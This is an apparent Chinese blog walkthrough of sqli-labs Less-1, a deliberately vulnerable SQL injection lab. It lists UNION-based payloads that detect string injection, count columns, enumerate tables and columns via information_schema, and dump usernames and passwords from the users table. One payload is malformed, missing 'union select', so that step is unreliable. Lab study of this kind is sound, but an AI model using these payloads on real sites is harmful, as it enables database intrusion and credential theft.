sqli-labs-master-less-1
开章很重要的:
  CONCAT_WS(separator, str1, str2,...)
  第一个参数为 参数分隔符
  char(32,58,32)  数据库里输出一个   : 
?id=-1' and 1=2 union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users where id=8%23
 
数字型:
?id = 1  无错
?id = 1 and 1=1%23  无错
?id =1 and 1=2%23   无错
说明不是数字型注入。
字符型:
?id=1' 报错
?id=1' and 1=1%23 无错
?id=1' and 1=2%23 报错
说明是字符型注入。
#  %23  相等 但是 sqli-labs-master 中  #  没用
?id=1' order by 3 %23  
不报错 但是 
?id=1' order by 4 %23 报错
 
 说明字段最多是 3
接下来 通过报错回显库:
?id=-1' union select 1,2,3%23
 
说明存在两个回显点。
?id=-1' 1,version(),database()%23
 
得到当前php版本:5.5.53和数据库名:security。
例如 上面的可以换为:
database() :数据库名 hack
version() :数据库版本 5.5.47
user() : 数据库用户 root@localhost
@@version_compile_os :操作系统 win32
@@datadir——数据库路径
 
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'%23
 
得到 security 数据库 里的数据库表 emails referers uagents users
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'%23

得到security 数据库里的 users 数据库表 里的 所有列名
?id=-1' union select 1,username,password from users %23

得到user数据库表 里的 username  password 列的 默认id为1 的数据
( 因为sql 语句中有个 limit 0,1)
?id=-1' union select 1,username,password from users where id=8 %23
 
探测得知 users 数据库最多有 8 行记录也就是说id最大为 8
至此 less-1结束。
如果哪里有问题,请各位大佬们多多留言指教,感激不尽。
很久以前听大佬们说写博客很好的习惯,所以我就拉了一篇有道云笔记,尝试着发一下博客。

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号